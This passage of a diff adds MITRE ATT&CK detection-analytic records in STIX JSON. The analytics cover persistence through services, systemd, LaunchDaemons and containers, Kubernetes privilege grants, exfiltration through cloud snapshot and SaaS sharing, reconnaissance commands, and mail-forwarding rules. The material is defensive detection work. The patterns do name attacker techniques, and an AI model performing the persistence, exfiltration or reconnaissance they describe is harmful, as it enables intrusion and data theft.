"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DatastoreTransferThreshold", + "description": "Threshold for outbound data exfiltration from ESXi datastore files." + }, + { + "field": "ApprovedStorageServices", + "description": "Whitelist of sanctioned storage providers used by admins for backup operations." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9a65f8bc-1b81-4e05-8e8b-bfdb0d581213", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0571#AN1575", + "external_id": "AN1575" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1575", + "description": "Detects command-line or API-based creation/modification of Windows Services via `sc.exe`, `powershell.exe`, `services.exe`, or `ChangeServiceConfig`. Looks for creation/modification of autostart services via registry changes, file drops to `System32\\services`, and anomalous parent-child process trees.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:Security", + "channel": "EventCode=4697" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceNamePattern", + "description": "Regex patterns to flag unusual service names or binaries" + }, + { + "field": "ParentProcessFilter", + "description": "List of non-administrative processes starting service management tools" + }, + { + "field": "RegistryPathList", + "description": "Monitored autorun locations (e.g., `HKLM\\System\\CurrentControlSet\\Services`)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9a73d14c-ce3c-47c5-a6c2-3d6b49c4d009", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0571#AN1576", + "external_id": "AN1576" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1576", + "description": "Detects creation or modification of `systemd` service units, addition of cron jobs that invoke binaries on boot, or suspicious writes to `/etc/init.d/`. Monitors `chmod +x` and `systemctl` execution paths, especially from non-root parent processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write or rename to /etc/systemd/system or /etc/init.d" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execution of systemctl or service with enable/start/modify" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServicePathRegex", + "description": "Path-based filters to identify service unit files or init scripts" + }, + { + "field": "UserContextList", + "description": "List of expected user contexts that normally perform service changes" + }, + { + "field": "CommandNameList", + "description": "Binaries used to register/modify services" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f315abd4-7115-45ac-9466-64c23367cd41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0571#AN1577", + "external_id": "AN1577" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1577", + "description": "Detects creation or modification of `LaunchDaemon` or `LaunchAgent` plist files under `/Library/LaunchDaemons/`, `~/Library/LaunchAgents/`, or similar. Monitors execution of `launchctl`, property list edits, and file permission changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "launchctl load/unload or plist file modification" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsusage", + "channel": "file write to launchd plist paths" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistPathList", + "description": "Watched directories for LaunchDaemons and LaunchAgents" + }, + { + "field": "PlistKeyMonitor", + "description": "Monitored keys such as `RunAtLoad`, `KeepAlive`, or `ProgramArguments`" + }, + { + "field": "UnsignedBinaryAlert", + "description": "Flag execution of unsigned or non-Apple-signed binaries within plist" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--52ee5593-7db2-4ad0-b5f4-630ebcf2ce0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0571#AN1578", + "external_id": "AN1578" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1578", + "description": "Detects creation of new container system processes via `docker run --restart`, `kubectl exec` to init containers, or modification of container init specs. Flags container images that override entrypoints to embed persistence behaviors.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", + "name": "docker:events", + "channel": "docker run with restart=always or modifying init" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "modification of entrypoint scripts or init containers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntrypointOverridePattern", + "description": "Patterns used to detect modified container start scripts" + }, + { + "field": "RestartPolicyMatch", + "description": "Policy values triggering alert (e.g., always, on-failure)" + }, + { + "field": "KubeInitModPath", + "description": "Path filters for `/etc/init.d/`-like behaviors inside containers" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b721ae18-79fc-4b82-8991-93980b14ded5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0572#AN1579", + "external_id": "AN1579" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1579", + "description": "Detects assignment of high-privilege roles to user or service accounts via Kubernetes RoleBinding or ClusterRoleBinding objects, especially outside of CI/CD automation or from unknown IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "kubernetes:audit", + "channel": "create or update events for RoleBinding or ClusterRoleBinding objects" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgent", + "description": "Filter expected sources of automated role assignment (e.g., CI/CD tooling)" + }, + { + "field": "RoleName", + "description": "Scope to privileged roles like cluster-admin, edit, admin" + }, + { + "field": "TimeWindow", + "description": "Detect after-hours or irregular-time assignments" + }, + { + "field": "UserContext", + "description": "Define known service accounts and privileged operators to reduce noise" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--383dda28-1d76-4605-a53d-07829f3d7ef8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0573#AN1580", + "external_id": "AN1580" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1580", + "description": "Detects snapshot sharing, backup exports, or data object transfers from victim-owned cloud accounts to other cloud identities within the same provider (e.g., AWS, Azure) using snapshot sharing, S3 bucket policy updates, or SAS URI generation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f1eb6ea9-f3ab-414f-af35-2d5427199984", + "name": "AWS:CloudTrail", + "channel": "ModifySnapshotAttribute" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44", + "name": "AWS:CloudTrail", + "channel": "PutBucketPolicy" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432", + "name": "AWS:CloudTrail", + "channel": "CreateSnapshot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774", + "name": "AWS:CloudTrail", + "channel": "CopySnapshot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "AWS:VPCFlowLogs", + "channel": "High volume internal-to-internal IP transfer or cross-account cloud transfer" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CrossAccountIDList", + "description": "List of external cloud accounts authorized for snapshot or bucket sharing" + }, + { + "field": "Region", + "description": "Geographic region in which the sharing occurs (may impact logging availability)" + }, + { + "field": "VolumeSizeThresholdGB", + "description": "Threshold to alert on snapshot size or object volume" + }, + { + "field": "TimeWindow", + "description": "Temporal window between snapshot creation and external sharing" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--60b2d6f4-1bf0-4c52-8923-ac8e3b8088d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0573#AN1581", + "external_id": "AN1581" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1581", + "description": "Detects user activity that shares or syncs files with external domains via link generation, OneDrive external sharing, or file transfer actions involving non-whitelisted partner tenants.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44", + "name": "m365:unified", + "channel": "SharingSet" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e214eb6d-de8f-4154-9015-6d47915fbed1", + "name": "m365:unified", + "channel": "AnonymousLinkCreated" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "FileAccessed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExternalDomainList", + "description": "Known partner or adversarial cloud identities/domains" + }, + { + "field": "TimeWindow", + "description": "Duration between file access and external sharing" + }, + { + "field": "SharingMethod", + "description": "Type of link (anonymous, internal, organization-wide) to alert on" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d1ef9a86-7781-4b9e-9178-c2e5b1782c1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0573#AN1582", + "external_id": "AN1582" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1582", + "description": "Detects use of built-in SaaS sharing mechanisms to transfer ownership or share access of critical data to external tenants or untrusted users through API calls or link generation features.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44", + "name": "saas:googledrive", + "channel": "drive.permission.add" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e214eb6d-de8f-4154-9015-6d47915fbed1", + "name": "saas:box", + "channel": "collaboration.invite" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Whether the user is in a high-privileged or VIP group" + }, + { + "field": "DomainReputationList", + "description": "Allowlist or blocklist of external SaaS domains" + }, + { + "field": "PayloadVolumeThreshold", + "description": "Size or number of shared files triggering alert" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--498eb889-4468-4c55-9337-df219d5f142b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0574#AN1583", + "external_id": "AN1583" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1583", + "description": "Execution of network enumeration utilities (e.g., net.exe, ping.exe, tracert.exe) in short succession, often chained with lateral movement tools or system enumeration commands.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Define bursty execution patterns of enumeration commands (e.g., <30s)" + }, + { + "field": "CommandLinePattern", + "description": "Tunable per org\u2019s scripting/IT tools (e.g., exclude SCCM, PsExec)" + }, + { + "field": "ParentProcess", + "description": "Flag suspicious process ancestry (e.g., Word.exe spawning net.exe)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f794d2f4-ad8e-4e11-b374-2c35f8ca38e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0574#AN1584", + "external_id": "AN1584" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1584", + "description": "Use of bash scripts or interactive shells to issue sequential ping, arp, or traceroute commands to map remote hosts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "linux:syslog", + "channel": "network" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetIPRange", + "description": "Tune for sensitive internal segments or known lateral targets" + }, + { + "field": "ShellContext", + "description": "Distinguish user-interactive enumeration vs. cronjob or baseline tooling" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--80c7f835-116d-4fa1-817a-08965efef16c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0574#AN1585", + "external_id": "AN1585" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1585", + "description": "Execution of built-in or AppleScript-based system enumeration via `arp`, `netstat`, `ping`, and discovery of `/etc/hosts` contents.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionUser", + "description": "Limit detection to suspicious users or automation contexts" + }, + { + "field": "CommandSignature", + "description": "Adapt for expected enumeration tooling used in IT" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--88041144-900d-4968-9e8a-8f1f63ae8417", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0574#AN1586", + "external_id": "AN1586" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1586", + "description": "ESXi shell or SSH access issuing `esxcli network diag ping` or viewing routing tables to identify connected hosts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ESXCommandPattern", + "description": "Match specific diag/debug commands abused for recon" + }, + { + "field": "RemoteUserShell", + "description": "Detect unauthorized shell use or user context (e.g., root over SSH)" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aad71d3e-93b0-4cb6-8240-274369f8ad34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0574#AN1587", + "external_id": "AN1587" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1587", + "description": "Execution of discovery commands like `show cdp neighbors`, `show arp`, and other interface-level introspection on Cisco or Juniper devices.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "syslog facility LOCAL7 or trap messages" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandList", + "description": "Device-specific recon commands to monitor based on make/model" + }, + { + "field": "PrivLevel", + "description": "Trigger detection for privilege escalation prior to recon commands" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5ca1b37f-31c9-414b-9a31-9f80f553c44a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0575#AN1588", + "external_id": "AN1588" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1588", + "description": "Detection focuses on monitoring registry modifications under HKLM\\SOFTWARE\\Microsoft\\Netsh that indicate the addition of helper DLLs, followed by anomalous child process activity or module load behavior initiated by netsh.exe. These behaviors are rarely legitimate and may represent an adversary establishing persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the time window in which correlated registry and execution events are considered suspicious (e.g., within 10 minutes)" + }, + { + "field": "NetshChildProcessWhitelist", + "description": "List of expected or approved child processes spawned by netsh.exe in the enterprise environment" + }, + { + "field": "DLLLoadPath", + "description": "Directory or filename heuristics to distinguish benign DLLs from malicious helper DLLs" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fe489775-b01e-4da2-a0e2-962d1572ba09", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0576#AN1589", + "external_id": "AN1589" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1589", + "description": "Creation of inbox rules via PowerShell (New-InboxRule) or transport rules using Exchange cmdlets. Correlates user behavior, cmdlet usage, and rule properties.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "m365:exchange", + "channel": "Cmdlet - New-InboxRule" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Certain service accounts or admin contexts may be expected to run these rules." + }, + { + "field": "TimeWindow", + "description": "Correlate between rule creation and follow-on message forwarding within this timeframe." + }, + { + "field": "TargetMailbox", + "description": "Whitelisted or trusted destination addresses may be tuned per org policy." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c93edcb2-385a-4472-a9db-ace5371250eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0576#AN1590", + "external_id": "AN1590" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1590", + "description": "Creation or modification of Apple Mail rules by accessing plist files or GUI automation (AppleScript).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream --predicate" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:plist_monitoring", + "channel": "/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RuleFilePath", + "description": "Different Mail versions store rules in slightly different locations." + }, + { + "field": "ScriptTrigger", + "description": "AppleScript usage for GUI automation may be common in automation workflows." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--710aa303-3e9f-4170-95a4-b2caf5f827fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0576#AN1591", + "external_id": "AN1591" + } + ], + 